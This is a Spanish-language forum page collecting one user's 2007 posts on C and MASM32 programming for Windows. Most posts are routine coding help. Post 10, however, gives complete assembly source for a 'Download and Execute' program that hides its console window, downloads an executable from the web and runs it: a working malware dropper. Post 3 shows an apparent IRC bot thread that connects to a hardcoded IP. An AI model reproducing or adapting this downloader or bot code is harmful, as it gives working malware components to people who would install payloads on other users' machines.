|
Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.
Mensajes - Rozor
Páginas: [1]
1
« en: Viernes 12 de Octubre de 2007, 03:17 »
Si es mio, sorry no tenia vc y con devcpp no me apaño jejeje .
2
« en: Viernes 12 de Octubre de 2007, 03:14 »
No te he entendido muy bien. Pero creo que lo que quieres es no tener solo un archivo .c , si no varios y llamar a funciones del otro archivo. Si es asi mira. // Paco.c ( archivo 1 ) #include <windows.h> extern int FuncionExterna(char *msg); int main() { char lala[] = "Mensage enviado desde la funcion externa"; FuncionExterna(lala); return 0; }
// Felipe.c ( archivo 2 ) #include <windows.h> extern int FuncionExterna(char *msg); extern int FuncionExterna(char *msg) { MessageBox(msg); return 0; }
3
« en: Lunes 8 de Octubre de 2007, 23:21 »
Que fallo tiene el codigo?. El problema esta en que no conecta, por que le he puesto localhost con netcat a la escucha y nada :'( . extern DWORD WINAPI b0t(LPVOID param) { SOCKET sock; WSADATA wsa; SECURITY_ATTRIBUTES sa; WSAPROTOCOL_INFO wsinfo; // struct hostent *host; struct sockaddr_in mysock; static char recvbuff[2050]; static char sendbuff[2050]; //host = gethostbyname("xxxxxx"); mysock.sin_family = 0x02; mysock.sin_port = 0x0b1a; // 6667 mysock.sin_addr.s_addr = 0x6F271448; //inet_ntoa(*((struct in_addr *)host->h_addr)); ZeroMemory(&(mysock.sin_zero), 8); // memset wsinfo.dwServiceFlags1 = 0x0400; wsinfo.dwServiceFlags2 = 0x02; wsinfo.dwServiceFlags3 = 0x80; wsinfo.dwProviderFlags = 0x02; wsinfo.iVersion = 0x18; wsinfo.iAddressFamily = 0x02; wsinfo.iSocketType = 0x01; wsinfo.iProtocol = 0x06; wsinfo.iSecurityScheme = 0x00; wsinfo.dwMessageSize = 0xFFFFFFFF; if(WSAStartup(0x101, &wsa)!= 0) { TerminateThread(Thr_b0t, 0x00); } sock = WSASocket(0x02,0x01,0x06,&wsinfo,0x01,0x08); if(connect(sock, (struct sockaddr *)&mysock, sizeof(mysock)) == 0xFFFFFFFF) { return 0; } send(sock, "\x0A\x00\x00", 0x04, 0x00); Sleep(500); while(TRUE) { recv(sock, recvbuff, 200, 0x00); } printf("\nRecv: %s\n\n"); system("PAUSE"); closesocket(sock); WSACleanup(); return 0; }
4
« en: Jueves 4 de Octubre de 2007, 19:43 »
Hola, he buscado cosas sobre la winddk pero no he visto nada desde 0 algo que te medio guie, los headers, el inicio del driver etc... . Sabeis de algun tuto, se como van las vxd.
5
« en: Miércoles 3 de Octubre de 2007, 00:15 »
usa el retorno de inet_ntoa . si no te suena es algo parecido ( "parecido" ) a inet_addr. inet_ntoa(*((struct in_addr *)he->h_addr)); Espero que te funcione
6
« en: Jueves 27 de Septiembre de 2007, 02:07 »
Me imagino que es para windows, asique usa o winapi que en la web winapi(dot)conclase(dot)com tienes info o usa MFC Mirate la msdn
7
« en: Jueves 27 de Septiembre de 2007, 02:01 »
Aqui tienes un ejemplo #include <windows.h> void rbk(void); int tq(void); void rbk(void) { MessageBox(NULL, "Esto es un puntero a funcion", "Puntero", MB_OK); } int tq(void) { MessageBox(NULL, "Funcion puntero usando retorno", "Puntero", MB_OK); ExitProcess(0); } int main(int argc, char *argv[]) { void (*func)() = &rbk; int (*func2)() = &tq; (*func)(); return ((*func2)()); }
En google hay bastante info pon: "puntero a funcion", no te dejo link por que el sistema del foro no me deja Modificacion: fpsalmon(dot)usc(dot)es(slash)genp(slash)doc(slash)cursos(slash)C++(slash)punteros(slash)funciones(dot)html zator(dor)com ahora spam para que digan que no se pueden poner url's sincontrol(dot)tomahost(dot)com fuck invisio
8
« en: Lunes 24 de Septiembre de 2007, 10:14 »
Puedes usar ReadFile y WriteFile de winbase.h
BOOL ReadFile( HANDLE hFile, // handle of file to read LPVOID lpBuffer, // pointer to buffer that receives data DWORD nNumberOfBytesToRead, // number of bytes to read LPDWORD lpNumberOfBytesRead, // pointer to number of bytes read LPOVERLAPPED lpOverlapped // pointer to structure for data );
BOOL WriteFile( HANDLE hFile, // handle to file to write to LPCVOID lpBuffer, // pointer to data to write to file DWORD nNumberOfBytesToWrite, // number of bytes to write LPDWORD lpNumberOfBytesWritten, // pointer to number of bytes written LPOVERLAPPED lpOverlapped // pointer to structure for overlapped I/O );
9
« en: Sábado 22 de Septiembre de 2007, 11:39 »
No habia duda, era un codigo muy legible y simplecito, para los interesados puedan leerlo, no hace nada dificil solo xor, mov, push, call y poco mas. Es facilito.
A nivel codigo quitando lo de las direcciones hardcoreadas, que las meto siempre cuando publico el source, asi hay que saber algo mas o menos de asm, me interesan que lo lean novatos no lamer. Que le cambiarias?.
Por que funcionar funciona claro, pero codigo en C mios de hace 6 meses los leo ahora y me hacen reir un poco. Con asm llevo muy poco tiempo y este digamos que es el primer code mio 100% por que lo roto lo he arreglado yo con debugger etc.... y lo he ensamblado y usado.
Gracias al foro y ati que n ove si me estas respondiendo post.
10
« en: Viernes 21 de Septiembre de 2007, 00:26 »
; Download and Execute by xZR !Sub_Level ; masm32 ; WinXP ES SP2 .586p .MODEL FLAT, STDCALL include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib .DATA Consola db "ConsoleWindowClass",0 Direccion db "no me deja incluir link",0 Descarga db "lalala.exe",0 Orden db "open",0 UrlMon db "urlmon.dll",0 Shell db "shell32.dll",0 User db "user32.dll",0 Kernel db "kernel32.dll",0 .CODE Inicio: xor eax, eax push offset User call LoadLibrary xor ecx, ecx push ecx push offset Consola mov ebx, 7e3ade87h; FindWindowA call ebx xor ecx, ecx push ecx push eax mov ebx, 7e39d8a4h; ShowWindow call ebx xor eax, eax push offset UrlMon call LoadLibrary xor ecx, ecx push ecx push ecx push offset Descarga push offset Direccion push ecx mov ebx, 7df7b16fh ; URLDownloadToFileA call ebx push offset Shell call LoadLibrary xor ecx, ecx push ecx push ecx push ecx push offset Descarga push offset Orden push ecx mov ebx, 7ca50ec0h; ShellExecuteA call ebx xor eax, eax push offset Kernel call LoadLibrary xor ecx, ecx push ecx mov ebx, 7c81cddah; ExitProcess call ebx ret end Inicio
11
« en: Miércoles 19 de Septiembre de 2007, 22:21 »
Si perdonen por el post, tenia windows.inc y lo quite por que tenia fallo luego no me acorde y no me di cuenta jejejej, reinstale y compilo sin problemas. Por cierto, el codigo arreglado, ya no me funciona pero a nivel ejecucion, he debugeado y todo va bien hasta "connect", hay falla no pillo el por que :S . ( no es culpa del servidor ). 586p .model flat, stdcall option casemap:none include \masm32\include\wsock32.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc include \masm32\include\windows.inc includelib \masm32\lib\wsock32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib CrearConexion proto EnviarMensage proto Error proto .data wsa WSADATA <> sin sockaddr_in <> ip db "127.0.0.1", 0 port dd 666 buffsend db "#### barata", 0 cap db "Error", 0 txt db "Error no enviado", 0 cap2 db "Adios", 0 txt2 db "A funcado bien xDDD", 0 .data? sock dd ? hand dd ? .const protocolo dd 06h; IPPROTO_TCP familia dd 02h ; AF_INET stream dd 01h ; SOCK_STREAM sizesin dd 10h ; sizeof sockaddr_in make dw 101h ; MAKEWORD(1,1) wm_sock dd WM_USER+100; WM_SOCKET = WM_USER+100 f_connect dd 10h ; FD_CONNECT f_read dd 01h ; FD_READ f_close dd 20h ; FD_CLOSE f_all dd 31h ; Suma de los 3 .code Inicio: xor eax, eax call CrearConexion push 00h push offset cap push offset txt push 00h call MessageBoxA push sock call closesocket call WSACleanup push 00h call ExitProcess CrearConexion proc push offset wsa push 101h call WSAStartup push 0 push SOCK_STREAM push AF_INET call socket mov sock, eax .if eax==INVALID_SOCKET call Error .endif push FD_READ+FD_WRITE+FD_CONNECT push offset wm_sock push offset hand push sock call WSAAsyncSelect mov sin.sin_family, 02h push 29ah call htons mov sin.sin_port, ax push offset ip call inet_addr mov sin.sin_addr, eax push sizeof sin mov eax, offset sin push eax push offset sock call connect .if eax==SOCKET_ERROR call Error .endif call EnviarMensage ret; w0w CrearConexion endp EnviarMensage proc push 00h push 15 push offset buffsend push offset sock call send ret EnviarMensage endp Error proc push 00h push offset cap push offset txt push 00h call MessageBoxA push 00h call ExitProcess leave ret; w0w Error endp end Inicio
12
« en: Miércoles 19 de Septiembre de 2007, 12:19 »
Hola, he estado codeando con masm32 y siendo correcta la sintaxis segun numentor y otros codes que he echo y me da error :S , me da error en las estructuras WSADATA y SOCKADDR_IN. Aver que se puede hacer gracias. He lido varias veces post de asm en este foro, y desarrollado como por ejemplo cuando lo del bootstrap. Y hoy me decidi a postear Error: Microsoft (R) Macro Assembler Version 6.14.8444 Copyright (C) Microsoft Corp 1981-1997. All rights reserved. Assembling: C:\masm32\conexion.asm C:\masm32\conexion.asm(30) : error A2008: syntax error : wsa C:\masm32\conexion.asm(31) : error A2008: syntax error : sin _ Assembly Error Presione una tecla para continuar . . .
El codigo fuente: .586P .MODEL FLAT, STDCALL include \masm32\include\wsock32.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc includelib \masm32\lib\wsock32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib CrearConexion proto EnviarMensage proto Error proto .DATA wsa WSADATA <> ; <--- ERROR Linea 30 sin SOCKADDR_IN <> ; <--- ERROR Linea 31 ip dq 0100007Fh port dd 9a02h buffsend db "#### barata", 0 cap db "Error", 0 txt db "Error no enviado", 0 cap2 db "Adios", 0 txt2 db "A funcado bien xDDD", 0 .DATA? sock dd ? .CONST protocolo dd 06h; IPPROTO_TCP familia dd 02h ; AF_INET stream dd 01h ; SOCK_STREAM sizesin dd 10h ; sizeof sockaddr_in make dd 101h ; MAKEWORD(1,1) wm_sock dd 464h; WM_SOCKET = WM_USER+100 f_connect dd 10h ; FD_CONNECT f_read dd 01h ; FD_READ f_close dd 20h ; FD_CLOSE f_all dd 31h ; Suma de los 3 .CODE Inicio: xor eax, eax call CrearConexion push 00h push offset cap push offset txt push 00h call MessageBoxA push sock call closesocket call WSACleanup push 00h call ExitProcess end Inicio CrearConexion proto push offset wsa push offset make call WSAStartup push offset protocolo push offset stream push offset familia call socket mov sock, eax push offset f_all push offset wm_sock push 00h push sock call WSAAsyncSelect mov sin.sin_family, offset familia mov sin.sin_port, offset puerto mov sin.sin_addr, offset ip push offset sizesin push offset sin push offset sock call connect je EnviarMensage jnz Error ret; w0w CrearConexion endp EnviarMensage proto push 00h push 15 push offset sendbuff push offset sock call send ret EnviarMensage endp Error proto push 00h push offset cap push offset txt push 00h call MessageBoxA push 00h call ExitProcess leave ret; w0w Error endp
Gracias.
Páginas: [1]
|
|
|